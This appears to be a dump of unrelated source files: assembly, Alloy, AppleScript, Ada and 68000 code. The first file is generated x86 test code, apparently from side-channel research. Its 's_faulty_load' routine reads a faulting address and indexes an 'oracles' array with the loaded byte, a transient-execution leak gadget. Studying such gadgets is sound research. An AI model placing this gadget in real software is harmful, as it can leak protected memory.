{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'src': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_972.asm | ljhsiun2/medusa | 9 | 7478 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xe13, %r14
add $12677, %rsi
and $0xffffffffffffffc0, %r14
vmovaps (%r14), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x85c3, %rdi
nop
nop
nop
nop
sub $45741, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, (%rdi)
nop
nop
nop
nop
dec %rbp
lea addresses_WC_ht+0xa13, %r14
nop
cmp $19946, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
nop
and $58586, %rbp
lea addresses_WT_ht+0x11993, %rdx
nop
nop
nop
and $50397, %rdi
movb $0x61, (%rdx)
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_A_ht+0x1ae13, %rdx
add $1874, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
nop
nop
cmp $56560, %rbp
lea addresses_A_ht+0x16c13, %r14
nop
inc %rdx
mov $0x6162636465666768, %r10
movq %r10, %xmm1
vmovups %ymm1, (%r14)
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0xc29f, %rsi
lea addresses_UC_ht+0xba73, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
and $60927, %rbx
mov $122, %rcx
rep movsb
nop
dec %rcx
lea addresses_normal_ht+0x5f13, %rsi
lea addresses_D_ht+0x16e13, %rdi
nop
sub %rdx, %rdx
mov $36, %rcx
rep movsl
nop
nop
nop
add %rbp, %rbp
lea addresses_UC_ht+0x8533, %rsi
lea addresses_A_ht+0x4e13, %rdi
nop
nop
xor $4203, %rdx
mov $57, %rcx
rep movsw
nop
nop
nop
nop
and $61791, %rdx
lea addresses_normal_ht+0x34a5, %rsi
lea addresses_UC_ht+0x10a13, %rdi
dec %r14
mov $116, %rcx
rep movsq
nop
nop
nop
nop
sub $42182, %rbp
lea addresses_D_ht+0xf213, %rdx
nop
nop
nop
nop
nop
and %rbx, %rbx
mov (%rdx), %r10d
nop
nop
nop
nop
xor $43174, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %rbp
push %rbx
push %rdi
push %rdx
// Faulty Load
mov $0xcaec50000000e13, %r12
nop
nop
cmp $26508, %rdi
mov (%r12), %rdx
lea oracles, %r14
and $0xff, %rdx
shlq $12, %rdx
mov (%r14,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 11, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
codes/assembly/step/ch08/eatsyscall.asm | zhoujiagen/learning-system-programming | 0 | 3977 | <gh_stars>0
; An example of call Linux system call
SECTION .data
EatMsg: db "Eat at Joe's!", 10, "Ten million files can't ALL be wrong!", 10
EatLen: equ $-EatMsg
SECTION .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, EatMsg
mov edx, EatLen
int 80H
mov eax, 1
mov ebx, 0
int 80H
|
org.alloytools.alloy.diff/misc/inheritance/extends1v2.als | jringert/alloy-diff | 1 | 1172 | <filename>org.alloytools.alloy.diff/misc/inheritance/extends1v2.als
sig A {
f1 : some A
}
sig B extends A {
}
run {}
|
asmlib/system.nasm | fengjixuchui/napoca | 170 | 1875 | <reponame>fengjixuchui/napoca
;
; Copyright (c) 2020 Bitdefender
; SPDX-License-Identifier: Apache-2.0
;
%ifndef _SYSTEM_YASM_
%define _SYSTEM_YASM_
%include "macros.nasm"
%include "if.nasm"
%include "struct.nasm"
%ifdef DOC_FILE
system.nasm - Contains generic definitions of data types, data structures and macros for defining and interacting with hardware defined structures.
%endif
;
; generic constants
;
KILO equ 1024
MEGA equ KILO * KILO
GIGA equ KILO * MEGA
TERA equ KILO * GIGA
PAGE_SIZE equ 4096
PAGE_MASK equ (0xFFFFFFFF - 4095)
%idefine NULL 0
;
; system definitions
;
FLAT_DESCRIPTOR_CODE64 equ 0x002F9A000000FFFF ; Code: Execute/Read
FLAT_DESCRIPTOR_DATA64 equ 0x00CF92000000FFFF ; Data: Read/Write
FLAT_DESCRIPTOR_CODE32 equ 0x00CF9A000000FFFF ; Code: Execute/Read
FLAT_DESCRIPTOR_DATA32 equ 0x00CF92000000FFFF ; Data: Read/Write
FLAT_DESCRIPTOR_CODE16 equ 0x00009B000000FFFF ; Code: Execute/Read, accessed
FLAT_DESCRIPTOR_DATA16 equ 0x000093000000FFFF ; Data: Read/Write, accessed
RFLAGS_CF equ 1
RFLAGS_PF equ (1<<2)
RFLAGS_ZF equ (1<<6)
RFLAGS_SF equ (1<<7)
RFLAGS_TF equ (1<<8)
RFLAGS_IF equ (1<<9)
RFLAGS_DF equ (1<<10)
RFLAGS_OF equ (1<<11)
RFLAGS_IOPL equ (3<<12)
RFLAGS_NT equ (1<<14)
RFLAGS_RF equ (1<<16)
RFLAGS_VM equ (1<<17)
RFLAGS_ID equ (1<<21)
IA32_EFER equ 0xC0000080
IA32_EFER_LME equ 0x100
IA32_EFER_NXE equ 0x800
IA32_MISC_ENABLE equ 0x1A0
; paging access and rights for VA to PA translations
VA_PRESENT equ bit(0)
VA_WRITE_ACCESS equ bit(1)
VA_USER_ACCESS equ bit(2)
VA_WRITETHROUGH equ bit(3)
VA_CACHE_DISABLE equ bit(4)
VA_ACCESSED equ bit(5)
VA_DIRTY equ bit(6)
VA_PAGE_SIZE equ bit(7)
VA_GLOBAL equ bit(8)
VA_MASK equ 0x1FF
; CPUID bits
CPUID_LEAF_1_XSAVE_ENABLED equ 26
; MEM-MAP
MEM_TYPE_AVAILABLE equ 1 ; RAM usable by the operating system
MEM_TYPE_RESERVED equ 2 ; reserved by the system
MEM_TYPE_ACPI_RECLAIM equ 3 ; available RAM usable by the OS after it reads the ACPI tables
MEM_TYPE_ACPI_NVS equ 4 ; reserved, required to be saved and restored across an NVS sleep
MEM_TYPE_UNUSABLE equ 5 ; range must not be used by OSPM
MEM_TYPE_DISABLED equ 6 ; memory that is not enabled
MEM_ATTR_NON_VOLATILE equ 1 ; permananent memory, avoid use as RAM
MEM_ATTR_SLOW_ACCESS equ 2 ; may incur considerable latencies
MEM_ATTR_ERROR_LOG equ 3 ; memory used for logging hardware errors
_struc MEM_MAP_ENTRY_RAW
QWORD (BaseAddress)
QWORD (Length)
DWORD (Type) ; MEM_TYPE..
DWORD (Attributes) ; MEM_ATTR..
_endstruc
_struc MEM_MAP_ENTRY
;;;DWORD (StructureSize) ; how much space do the other fields occupy
QWORD (BaseAddress)
QWORD (Length)
DWORD (Type) ; MEM_TYPE..
DWORD (Attributes) ; MEM_ATTR..
_endstruc
; registers saved on stack by PUSHA
_struc PUSHA16
WORD (Di)
WORD (Si)
WORD (Bp)
WORD (Sp)
WORD (Bx)
WORD (Dx)
WORD (Cx)
WORD (Ax)
_endstruc
_struc PUSHA32
DWORD (Edi)
DWORD (Esi)
DWORD (Ebp)
DWORD (Esp)
DWORD (Ebx)
DWORD (Edx)
DWORD (Ecx)
DWORD (Eax)
_endstruc
_struc PUSHA64
QWORD (r15)
QWORD (r14)
QWORD (r13)
QWORD (r12)
QWORD (r11)
QWORD (r10)
QWORD (r9)
QWORD (r8)
QWORD (rsi)
QWORD (rdi)
QWORD (rdx)
QWORD (rcx)
QWORD (rbx)
QWORD (rax)
_endstruc
startenum 0, CR0
enumbit PE, MP, EM, TS, ET, NE
enumpos 16
enumbit WP
enumpos 18
enumbit AM
enumpos 29
enumbit NW, CD, PG
stopenum
startenum 0, XCR0
enumbit X87, SSE, AVX, BNDREG, BNDCSR, OPMASK, ZMM_HI256, HI16_ZMM
enumpos 9
enumbit PKRU
enumpos 11
enumbit CET_USER_STATE, CET_SUPERVISOR_STATE
enumbit XAAD
stopenum
startenum 0, CR4
enumbit VME, PVI, TSD, DE, PSE, PAE, MCE, PGE, PCE, OSFXSR, OSXMMEXCPT
enumpos 13
enumbit VMXE, SMXE
enumpos 16
enumbit FSGSBASE, PCIDE, OSXSAVE
enumpos 20
enumbit SMAP, PKE
stopenum
startenum 0, IA32_MISC_ENABLE
enumbit FAST_STRINGS
enumpos 3
enumbit AUTO_THERMAL_CONTROL
enumpos 7
enumbit PERF_MON
enumpos 16
enumbit ENHANCED_SPEEDSTEP
enumpos 18
enumbit MONITOR
enumpos 22
enumbit LIMIT_CPUID
enumpos 34
enumbit XD_DISABLE
stopenum
%ifdef DOC_METHOD
Pushes all x64 general purpose registers onto the stack
%endif
%macro pusha64 0
mpush rax,rbx,rcx,rdx,rdi,rsi,r8,r9,r10,r11,r12,r13,r14,r15
%endmacro
%ifdef DOC_METHOD
Pops all x64 general purpose registers from the stack
%endif
%macro popa64 0
mpop rax,rbx,rcx,rdx,rdi,rsi,r8,r9,r10,r11,r12,r13,r14,r15
%endmacro
%ifdef DOC_METHOD
CONFIGURE_IA32_MISC(set_mask, clear_mask) CONFIGURE_IA32_MISC Activate, Deactivate
%endif
%macro CONFIGURE_IA32_MISC 2
mov ecx, IA32_MISC_ENABLE
rdmsr
%if (%1 & 0xFFFFFFFF)
or eax, ((%1) & 0xFFFFFFFF)
%endif
%if (%1 >> 32)
or edx, ((%1) >> 32)
%endif
%if (%2 & 0xFFFFFFFF)
and eax, 0xFFFFFFFF - ((%2) & 0xFFFFFFFF)
%endif
%if (%2 >> 32)
and edx, 0xFFFFFFFF - ((%2) >> 32)
%endif
wrmsr
%endmacro
%ifdef DOC_METHOD
Enables IA32_EFER_NXE bit
Eax is 0 on error
Note: alters EAX, ECX, EDX and EFLAGS
%endif
%macro ENABLE_XD 0
mov eax, 0x80000001
cpuid
test edx, 0x00100000
if nz
mov ecx, IA32_EFER
rdmsr
or eax, IA32_EFER_NXE
wrmsr
mov al, 1
else
xor eax, eax
endif
%endmacro
%ifdef DOC_METHOD
Set CR0.PG bit
%endif
%macro ENABLE_PAGING 0 ;
mov eax, cr0
or eax, CR0.PG
mov cr0, eax
%endmacro
%ifdef DOC_METHOD
Clear CR0.PG bit
%endif
%macro DISABLE_PAGING 0
mov eax, cr0
and eax, 0xFFFFFFFF - CR0.PG
mov cr0, eax
%endmacro
%ifdef DOC_METHOD
Set CR4.PAE bit
%endif
%macro ENABLE_PAE 0
mov eax, cr4
or eax, CR4.PAE
mov cr4, eax
%endmacro
%ifdef DOC_METHOD
Clear CR4.PAE bit
%endif
%macro DISABLE_PAE 0
mov eax, cr4
and eax, 0xFFFFFFFF - CR4.PAE
mov cr4, eax
%endmacro
%ifdef DOC_METHOD
Set IA32_EFER_LME bit
%endif
%macro ENABLE_LME 0 ;
mov ecx, IA32_EFER ; Read EFER MSR
rdmsr
or eax, IA32_EFER_LME ; Set the LME bit in EFER
wrmsr
%endmacro
%ifdef DOC_METHOD
Clear IA32_EFER_LME bit
%endif
%macro DISABLE_LME 0 ;
mov ecx, IA32_EFER ; Read EFER MSR
rdmsr
and eax, ~IA32_EFER_LME ; clear the LME bit
wrmsr
%endmacro
%endif ; _SYSTEM_YASM_
|
getTrack.scpt | yamachaaan/gst_itunes | 0 | 2332 | <filename>getTrack.scpt
#!/usr/bin/osascript
if application "iTunes" is running
tell application "iTunes"
if (player state as string) is "playing" then
set nowPlaying to "♫ "
else
set nowPlaying to ""
end if
set trackName to name of current track
return trackName
end tell
else
"iTunes is not running."
end if
|
libsrc/input/excali64/in_Inkey.asm | jpoikela/z88dk | 640 | 16474 | <gh_stars>100-1000
; uint in_Inkey(void)
; 03.2019 suborb
; Read current state of keyboard but only return
; keypress if a single key is pressed.
SECTION code_clib
PUBLIC in_Inkey
PUBLIC _in_Inkey
EXTERN in_keytranstbl
EXTERN in_rowtable
EXTERN l_push_di
EXTERN l_pop_ei
INCLUDE "target/cpm/def/excali64.def"
; exit : carry set and HL = 0 for no keys registered
; else HL = ASCII character code
; uses : AF,BC,DE,HL
;
.in_Inkey
._in_Inkey
ld e,0
ld a,@11111110
out (PORT_KBD_ROW_SELECT),a
in a,(PORT_KBD_ROW_READ)
cpl
and @11111011 ;avoid shift
jr nz,gotkey
ld e,8
ld a,@11111101
out (PORT_KBD_ROW_SELECT),a
in a,(PORT_KBD_ROW_READ)
cpl
and @11101111 ;Avoid CTRL
jr nz,gotkey
ld c,@11111011
ld e,16
ld b,6
read_loop:
ld a,c
out (PORT_KBD_ROW_SELECT),a
in a,(PORT_KBD_ROW_READ)
xor 255
jr nz,gotkey
ld a,8
add e
ld e,a
rlc c
djnz read_loop
nokey:
ld hl,0
scf
ret
gotkey:
; a = key pressed
; e = offset
ld c,8
hitkey_loop:
rrca
jr c,doneinc
inc e
dec c
jr nz,hitkey_loop
doneinc:
; Check for shift and control
ld bc, 64 * 2
ld a,@11111101 ;Row 2
out (PORT_KBD_ROW_SELECT),a
in a,(PORT_KBD_ROW_READ)
bit 4,a
jr z,got_modifier
ld bc, 64 ;Now for shift
ld a,@11111110 ;Row 1
out (PORT_KBD_ROW_SELECT),a
in a,(PORT_KBD_ROW_READ)
bit 2,a
jr z,got_modifier
ld bc,0
got_modifier:
ld hl,in_keytranstbl
add hl,bc
ld d,0
add hl,de
ld a,(hl)
cp 255
jr z, nokey
ld l,a
ld h,0
and a
ret
|
source/textio/a-ztinio.ads | ytomino/drake | 33 | 25063 | <filename>source/textio/a-ztinio.ads
pragma License (Unrestricted);
-- separated and auto-loaded by compiler
private generic
type Num is range <>;
package Ada.Wide_Wide_Text_IO.Integer_IO is
Default_Width : Field := Num'Width;
Default_Base : Number_Base := 10;
-- procedure Get (
-- File : File_Type; -- Input_File_Type
-- Item : out Num;
-- Width : Field := 0);
-- procedure Get (
-- Item : out Num;
-- Width : Field := 0);
-- procedure Put (
-- File : File_Type; -- Output_File_Type
-- Item : Num;
-- Width : Field := Default_Width;
-- Base : Number_Base := Default_Base);
-- procedure Put (
-- Item : Num;
-- Width : Field := Default_Width;
-- Base : Number_Base := Default_Base);
-- procedure Get (
-- From : String;
-- Item : out Num;
-- Last : out Positive);
-- procedure Put (
-- To : out String;
-- Item : Num;
-- Base : Number_Base := Default_Base);
end Ada.Wide_Wide_Text_IO.Integer_IO;
|
smsq/atari/disptype.asm | olifink/smsqe | 0 | 164178 | <reponame>olifink/smsqe
; ATARI determine display hardware type 1993 <NAME>
section init
xdef at_disptype
xref gu_exvt
include 'dev8_keys_atari'
include 'dev8_keys_atari_tt'
include 'dev8_keys_68000'
include 'dev8_keys_sys'
include 'dev8_smsq_smsq_config_keys'
include 'dev8_smsq_smsq_base_keys'
;+++
; Determines the display hardware type (monochrome preferred if not TT)
;
; d5 r byte $00 unknown or none
; $20 mono (not TT)
; $40 extended mode 4
; $80 QVME
; d6 c p hardware type
; status returned 0
;---
at_disptype
cmp.b #sys.mtt,d6 ; TT
blt.s atd_ckmono
bsr.s atd_colour ; check for colour adapter
tst.b d5 ; any adapter?
bne.s atd_rts_ok ; ... yes
move.w #ttd.sthi,ttd_res ; ... no, set ST HI RES mode
bra.s atd_mono
atd_ckmono
tst.b mfp_mon ; is it monochrome?
bpl.s atd_mono ; ... yes
bsr.s atd_colour ; get type of colour adapter
bra.s atd_rts_ok
atd_mono
moveq #sys.mmon,d5 ; ... yes, monochrome
atd_rts_ok
moveq #0,d0
rts
atd_colour
atd.reg reg a0/a1/a2/a3
movem.l atd.reg,-(sp)
lea atd_wbyte,a0 ; write byte to address select reg
bsr.s atd_buset
beq.s atd_ext ; no error, try extended emulator
lea atd_waccs,a0 ; write byte with access control
bsr.s atd_buset
bne.s atd_ext ; ... it is not QVME card
move.b #sys.mvme,d5 ; ... it is QVME card
bra.s atd_done
atd_ext
lea vde_slct,a0 ; read this to select Edwin Ext disp
move.w #$0222,vdr_palt+2 ; set palette
move.b (a0),d5 ; ... try to select
move.b (a0),d5
move.b (a0),d5
move.w #$0555,vdr_palt+2 ; change palette
move.b #$f,vde_desl ; deselect
move.w #$0777,d5
and.w vdr_palt+2,d5 ; check palette
clr.w vdr_palt+2
sub.w #$0222,d5
bne.s atd_none
moveq #sys.mext,d5
bra.s atd_done
atd_none
moveq #0,d5
atd_done
movem.l (sp)+,atd.reg
rts
atd_buset
moveq #exv_accf,d0 ; bus error has been renamed access f
jmp gu_exvt
atd_waccs
move.b #0,vde_accs ; try with access control
atd_wbyte
move.b #0,vde_radr ; simple test for bus error
rts
end
|
src/lib/math/floor.asm | germix/sanos | 57 | 24269 | ;-----------------------------------------------------------------------------
; floor.asm - floating point floor
; Ported from <NAME>'s free C Runtime Library
;-----------------------------------------------------------------------------
SECTION .text
global floor
global _floor
floor:
_floor:
push ebp
mov ebp,esp
sub esp,4 ; Allocate temporary space
fld qword [ebp+8] ; Load real from stack
fstcw [ebp-2] ; Save control word
fclex ; Clear exceptions
mov word [ebp-4],0763h ; Rounding control word
fldcw [ebp-4] ; Set new rounding control
frndint ; Round to integer
fclex ; Clear exceptions
fldcw [ebp-2] ; Restore control word
mov esp,ebp
pop ebp
ret
|
programs/oeis/211/A211905.asm | jmorken/loda | 1 | 24138 | ; A211905: Number of lower triangular n X n arrays colored with integers 0 upwards introduced in row major order, with no element equal to any horizontal or vertical neighbor, and containing the value n(n+1)/2-2.
; 0,2,10,34,86,181,337,575,919,1396,2036,2872,3940,5279,6931,8941,11357,14230,17614,21566,26146,31417,37445,44299,52051,60776,70552,81460,93584,107011,121831,138137,156025,175594,196946,220186,245422,272765,302329
lpb $0
sub $0,1
add $2,1
add $0,$2
add $3,$0
add $4,$0
sub $0,$2
mov $1,3
add $2,$0
sub $4,1
add $3,$4
lpe
add $3,$1
add $1,$3
trn $1,5
|
src/print.asm | MachineThing/DOS_Demo | 0 | 102431 | <filename>src/print.asm
[bits 16]
section .text
global _puts
_puts:
